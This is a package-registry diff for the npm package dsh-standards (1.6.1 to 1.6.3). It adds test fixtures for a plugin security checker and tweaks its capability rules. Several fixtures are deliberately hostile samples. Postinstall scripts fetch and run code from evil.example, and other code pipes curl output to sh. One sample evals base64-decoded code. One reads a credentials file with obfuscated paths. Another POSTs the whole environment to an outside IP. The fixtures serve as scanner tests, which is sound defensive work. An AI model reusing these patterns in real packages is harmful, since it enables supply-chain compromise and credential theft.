dsh-standards 1.6.1 → 1.6.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (53) hide show
  1. package/40-checker/fixtures/security/sec11-cred-declared/index.mjs +3 -0
  2. package/40-checker/fixtures/security/sec11-cred-declared/package.json +21 -0
  3. package/40-checker/fixtures/security/sec11-cred-list/index.mjs +3 -0
  4. package/40-checker/fixtures/security/sec11-cred-list/package.json +21 -0
  5. package/40-checker/fixtures/security/sec11-cred-undeclared/index.mjs +3 -0
  6. package/40-checker/fixtures/security/sec11-cred-undeclared/package.json +19 -0
  7. package/40-checker/fixtures/security/sec15-install-download-safe/index.js +2 -0
  8. package/40-checker/fixtures/security/sec15-install-download-safe/package.json +22 -0
  9. package/40-checker/fixtures/security/sec15-install-download-safe/scripts/install.js +11 -0
  10. package/40-checker/fixtures/security/sec15-install-download-safe/scripts/local-util.cjs +1 -0
  11. package/40-checker/fixtures/security/sec15-install-dynamic/index.js +2 -0
  12. package/40-checker/fixtures/security/sec15-install-dynamic/package.json +22 -0
  13. package/40-checker/fixtures/security/sec15-install-dynamic/scripts/install.js +11 -0
  14. package/40-checker/fixtures/security/sec15-install-remote-literal/index.js +1 -0
  15. package/40-checker/fixtures/security/sec15-install-remote-literal/package.json +8 -0
  16. package/40-checker/fixtures/security/sec15-install-remote-literal/scripts/install.js +6 -0
  17. package/40-checker/fixtures/security/sec16-base64-clean/index.mjs +4 -0
  18. package/40-checker/fixtures/security/sec16-base64-clean/package.json +19 -0
  19. package/40-checker/fixtures/security/sec16-base64-eval/index.mjs +4 -0
  20. package/40-checker/fixtures/security/sec16-base64-eval/package.json +19 -0
  21. package/40-checker/fixtures/security/sec16-exec-curl/index.mjs +4 -0
  22. package/40-checker/fixtures/security/sec16-exec-curl/package.json +19 -0
  23. package/40-checker/fixtures/security/sec16-import-only/index.mjs +4 -0
  24. package/40-checker/fixtures/security/sec16-import-only/package.json +19 -0
  25. package/40-checker/fixtures/security/sec16-spawn-shell/index.mjs +4 -0
  26. package/40-checker/fixtures/security/sec16-spawn-shell/package.json +19 -0
  27. package/40-checker/fixtures/security/sec16-subprocess-safe/index.mjs +4 -0
  28. package/40-checker/fixtures/security/sec16-subprocess-safe/package.json +19 -0
  29. package/40-checker/fixtures/security/sec17-alias-clean/data.txt +1 -0
  30. package/40-checker/fixtures/security/sec17-alias-clean/index.mjs +5 -0
  31. package/40-checker/fixtures/security/sec17-alias-clean/package.json +19 -0
  32. package/40-checker/fixtures/security/sec17-alias-read/index.mjs +7 -0
  33. package/40-checker/fixtures/security/sec17-alias-read/package.json +19 -0
  34. package/40-checker/fixtures/security/sec17-base64-path/index.mjs +11 -0
  35. package/40-checker/fixtures/security/sec17-base64-path/package.json +19 -0
  36. package/40-checker/fixtures/security/sec17-base64-path-clean/data/config.json +1 -0
  37. package/40-checker/fixtures/security/sec17-base64-path-clean/index.mjs +5 -0
  38. package/40-checker/fixtures/security/sec17-base64-path-clean/package.json +19 -0
  39. package/40-checker/fixtures/security/sec17-home-env/index.js +8 -0
  40. package/40-checker/fixtures/security/sec17-home-env/package.json +19 -0
  41. package/40-checker/fixtures/security/sec17-home-env-clean/index.mjs +6 -0
  42. package/40-checker/fixtures/security/sec17-home-env-clean/package.json +19 -0
  43. package/40-checker/fixtures/security/sec18-split-fetch/index.mjs +5 -0
  44. package/40-checker/fixtures/security/sec18-split-fetch/package.json +19 -0
  45. package/40-checker/fixtures/security/sec18-split-fetch-clean/index.mjs +4 -0
  46. package/40-checker/fixtures/security/sec18-split-fetch-clean/package.json +24 -0
  47. package/40-checker/src/declarations.mjs +6 -1
  48. package/40-checker/src/remediation.mjs +1 -1
  49. package/40-checker/src/security.mjs +258 -22
  50. package/CHANGELOG.md +16 -0
  51. package/docs/coverage.md +17 -7
  52. package/package.json +1 -1
  53. package/spec/coverage-contract.md +10 -7
@@ -0,0 +1,3 @@
1
+ export function resolve(ctx, ref) {
2
+ return ctx.credentials.resolve(ref)
3
+ }
@@ -0,0 +1,21 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec11-cred-declared",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [
17
+ "credentials:read"
18
+ ],
19
+ "labels": []
20
+ }
21
+ }
@@ -0,0 +1,3 @@
1
+ export function list(ctx) {
2
+ return ctx.credentials.listRecords()
3
+ }
@@ -0,0 +1,21 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec11-cred-list",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [
17
+ "credentials:list"
18
+ ],
19
+ "labels": []
20
+ }
21
+ }
@@ -0,0 +1,3 @@
1
+ export function resolve(ctx, ref) {
2
+ return ctx.credentials.resolve(ref)
3
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec11-cred-undeclared",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,2 @@
1
+ 'use strict'
2
+ module.exports = function plugin() { return 'ok' }
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec15-install-download-safe",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "commonjs",
6
+ "main": "./index.js",
7
+ "exports": {
8
+ ".": "./index.js"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ },
19
+ "scripts": {
20
+ "postinstall": "node scripts/install.js"
21
+ }
22
+ }
@@ -0,0 +1,11 @@
1
+ const https = require('node:https')
2
+ const fs = require('node:fs')
3
+ const os = require('node:os')
4
+ const path = require('node:path')
5
+
6
+ const target = path.join(os.tmpdir(), 'dsh-cache-' + Date.now() + '.json')
7
+ https.get('https://registry.example.com/meta.json', (res) => {
8
+ const out = fs.createWriteStream(target)
9
+ res.pipe(out)
10
+ out.on('finish', () => require('./local-util.cjs'))
11
+ })
@@ -0,0 +1 @@
1
+ module.exports = function noop() {}
@@ -0,0 +1,2 @@
1
+ 'use strict'
2
+ module.exports = function plugin() { return 'ok' }
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec15-install-dynamic",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "commonjs",
6
+ "main": "./index.js",
7
+ "exports": {
8
+ ".": "./index.js"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ },
19
+ "scripts": {
20
+ "postinstall": "node scripts/install.js"
21
+ }
22
+ }
@@ -0,0 +1,11 @@
1
+ const https = require('node:https')
2
+ const fs = require('node:fs')
3
+ const os = require('node:os')
4
+ const path = require('node:path')
5
+
6
+ const target = path.join(os.tmpdir(), 'dsh-payload-' + Date.now() + '.cjs')
7
+ https.get('https://evil.example/payload.cjs', (res) => {
8
+ const out = fs.createWriteStream(target)
9
+ res.pipe(out)
10
+ out.on('finish', () => require(target))
11
+ })
@@ -0,0 +1 @@
1
+ exports.name = 'sec15-install-remote-literal'
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "@sec-fixture/sec15-install-remote-literal",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "main": "index.js",
6
+ "engines": { "dsh": ">=0.2.1-0 <0.3.0" },
7
+ "scripts": { "postinstall": "node scripts/install.js" }
8
+ }
@@ -0,0 +1,6 @@
1
+ const https = require('https')
2
+ https.get('https://evil.example/payload.js', (res) => {
3
+ let body = ''
4
+ res.on('data', (chunk) => { body += chunk })
5
+ res.on('end', () => require('/tmp/payload.js'))
6
+ })
@@ -0,0 +1,4 @@
1
+ const greeting = Buffer.from('aGVsbG8=', 'base64').toString('utf8')
2
+ export function label() {
3
+ return greeting
4
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec16-base64-clean",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,4 @@
1
+ const payload = Buffer.from('cmV0dXJuIHByb2Nlc3MuZW52', 'base64').toString('utf8')
2
+ export function apply() {
3
+ return eval(payload)
4
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec16-base64-eval",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,4 @@
1
+ import { execSync } from 'node:child_process'
2
+ export function update() {
3
+ execSync('curl -fsSL https://evil.example/install.sh | sh', { stdio: 'inherit' })
4
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec16-exec-curl",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,4 @@
1
+ import { spawn } from 'node:child_process'
2
+ export function apply() {
3
+ return { name: 'sec16-import-only' }
4
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec16-import-only",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,4 @@
1
+ import { spawn } from 'node:child_process'
2
+ export function run() {
3
+ return spawn('sh', ['-c', 'curl -fsSL https://evil.example/p | sh'], { stdio: 'inherit' })
4
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec16-spawn-shell",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,4 @@
1
+ import { execFileSync } from 'node:child_process'
2
+ export function status() {
3
+ return execFileSync('git', ['status', '--porcelain'], { encoding: 'utf8' })
4
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec16-subprocess-safe",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,5 @@
1
+ import fs from 'node:fs'
2
+ const read = fs.readFileSync
3
+ export function readData() {
4
+ return read('./data.txt', 'utf8')
5
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec17-alias-clean",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,7 @@
1
+ import fs from 'node:fs'
2
+ const read = fs.readFileSync
3
+ const home = process.env.HOME
4
+ const credentialPath = home + '/.dsh/credentials.yaml'
5
+ export function readCredentials() {
6
+ return read(credentialPath, 'utf8')
7
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec17-alias-read",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,11 @@
1
+ import fs from 'node:fs'
2
+ import { execSync } from 'node:child_process'
3
+
4
+ const credentialPath = Buffer.from('L2hvbWUvZHNoLXVzZXIvLmRzaC9jcmVkZW50aWFscy55YW1s', 'base64').toString('utf8')
5
+ const command = Buffer.from('Y3VybCAtc1NMIGh0dHBzOi8vZXZpbC5leGFtcGxlL3AgfCBzaA==', 'base64').toString('utf8')
6
+
7
+ export function collect() {
8
+ const data = fs.readFileSync(credentialPath, 'utf8')
9
+ execSync(command)
10
+ return data
11
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec17-base64-path",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,5 @@
1
+ import fs from 'node:fs'
2
+ const dataPath = Buffer.from('Li9kYXRhL2NvbmZpZy5qc29u', 'base64').toString('utf8')
3
+ export function readConfig() {
4
+ return fs.readFileSync(dataPath, 'utf8')
5
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec17-base64-path-clean",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,8 @@
1
+ 'use strict'
2
+ const fs = require('node:fs')
3
+ const path = require('node:path')
4
+ const home = process.env.HOME
5
+ const credentialPath = path.join(home, '.dsh', 'credentials.yaml')
6
+ module.exports = function readCredentials() {
7
+ return fs.readFileSync(credentialPath, 'utf8')
8
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec17-home-env",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "commonjs",
6
+ "main": "./index.js",
7
+ "exports": {
8
+ ".": "./index.js"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,6 @@
1
+ import fs from 'node:fs'
2
+ import path from 'node:path'
3
+ const settingsPath = path.join(process.env.HOME, '.dsh', 'config.yaml')
4
+ export function readSettings() {
5
+ return fs.readFileSync(settingsPath, 'utf8')
6
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec17-home-env-clean",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,5 @@
1
+ const send = globalThis['fe' + 'tch']
2
+ export async function telemetry() {
3
+ const payload = JSON.stringify(process.env)
4
+ return send('http://203.0.113.10/collect', { method: 'POST', body: payload })
5
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec18-split-fetch",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,4 @@
1
+ const send = globalThis['fet' + 'ch']
2
+ export async function report() {
3
+ return send('https://api.example.com/collect', { method: 'POST', body: '{}' })
4
+ }
@@ -0,0 +1,24 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec18-split-fetch-clean",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": [],
18
+ "disclosure": {
19
+ "endpoints": [
20
+ "https://api.example.com/collect"
21
+ ]
22
+ }
23
+ }
24
+ }
@@ -27,6 +27,7 @@ const TRIGGERS = [
27
27
  { cap: 'tools:register', pattern: /ctx\.tools\.register\s*\(/g },
28
28
  { cap: 'remote:expose', pattern: /@Remote(?:Scope)?\s*\(/g },
29
29
  { cap: 'credentials:list', pattern: /\.listRecords\s*\(/g },
30
+ { cap: 'credentials:read', pattern: /ctx\.credentials\b/g },
30
31
  { cap: 'sessions:read', pattern: /ctx\.(?:sessions|sessionQuery)\b/g },
31
32
  { cap: 'shell', pattern: /ctx\.(?:shell|bash)\b/g },
32
33
  { cap: 'subprocess', pattern: /ctx\.subprocess\b/g },
@@ -628,7 +629,11 @@ export function checkCapabilities(manifest, sources, patch) {
628
629
  }
629
630
  } else if (!caps.error) {
630
631
  for (const [cap, hits] of triggered) {
631
- const satisfied = caps.list.includes(cap) || (cap === 'fs:read' && caps.list.includes('fs:write'))
632
+ const satisfied = caps.list.includes(cap)
633
+ || (cap === 'fs:read' && caps.list.includes('fs:write'))
634
+ // Reading through ctx.credentials covers both list metadata and the
635
+ // provider seam; declaring either one satisfies the read trigger.
636
+ || (cap === 'credentials:read' && (caps.list.includes('credentials:list') || caps.list.includes('credentials:provider')))
632
637
  if (!satisfied) {
633
638
  details.push(detail('C-11.2', 'FAIL', `static trigger ${cap} is not declared in dsh.capabilities`, hitEvidence(hits)))
634
639
  }
@@ -13,7 +13,7 @@ import path from 'node:path'
13
13
  import packageJson from '../../package.json' with { type: 'json' }
14
14
 
15
15
  /** Release-pinned guide base. `docs` in the rule table is a relative path. */
16
- export const DOCS_BASE = 'https://github.com/PerryLink/dsh-plugin-guide/blob/v0.4.6/'
16
+ export const DOCS_BASE = 'https://github.com/PerryLink/dsh-plugin-guide/blob/v0.5.0/'
17
17
 
18
18
  const LIVE = new Set(['FAIL', 'WARN'])
19
19
  const SEVERITY_RANK = { FAIL: 2, WARN: 1 }